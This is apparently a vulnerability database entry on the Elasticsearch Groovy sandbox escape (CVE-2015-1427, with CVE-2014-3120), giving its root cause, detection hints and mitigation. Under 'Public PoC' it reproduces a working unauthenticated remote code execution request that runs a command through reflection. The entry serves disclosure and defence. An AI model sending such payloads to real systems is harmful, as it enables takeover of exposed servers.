every *2shell, one place
← all bugs

Elasticsearch Groovy Sandbox Escape

aka Elasticsearch dynamic scripting RCE
Product
Elastic Elasticsearch
CVE
CVE-2015-1427CVE-2014-3120
Disclosed
2015-02-11
CVSS
9.8
Auth
pre-auth
CISA KEV
yes
Affected
CVE-2015-1427: Elasticsearch before 1.3.8 and 1.4.x before 1.4.3. CVE-2014-3120 (MVEL dynamic scripting): before 1.2.0.
Fixed
Elasticsearch 1.3.8 / 1.4.3 (Groovy sandbox); 1.2.0 disabled dynamic scripting by default.

Summary

Early Elasticsearch shipped without authentication and let search requests include scripts. First MVEL (CVE-2014-3120) and then the Groovy sandbox (CVE-2015-1427) allowed arbitrary Java execution through a single HTTP request to port 9200, and both were mass-exploited for DDoS bots and cryptominers.

Root cause

The Groovy scripting engine's sandbox relied on a method/class blacklist but still allowed reflection via java.lang.Math.class.forName(...), letting scripts reach java.lang.Runtime. Combined with no authentication on the REST API, any search request with a script_fields entry could run OS commands as the elasticsearch user.

Impact

Unauthenticated remote command execution on exposed Elasticsearch nodes.

Public PoC

POST /website/blog/ HTTP/1.1
Host: es.lab:9200
Content-Type: application/json

{"name": "test"}

POST /_search?pretty HTTP/1.1
Host: es.lab:9200
Content-Type: application/text

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

Source: vulhub - elasticsearch/CVE-2015-1427

Detection

Nuclei templates CVE-2015-1427 / CVE-2014-3120; check GET / version number. Look for _search requests containing script_fields with 'Runtime' or 'forName'.

Mitigation

Upgrade (current versions use Painless and have security enabled by default); disable dynamic scripting; never expose 9200 to the internet.

References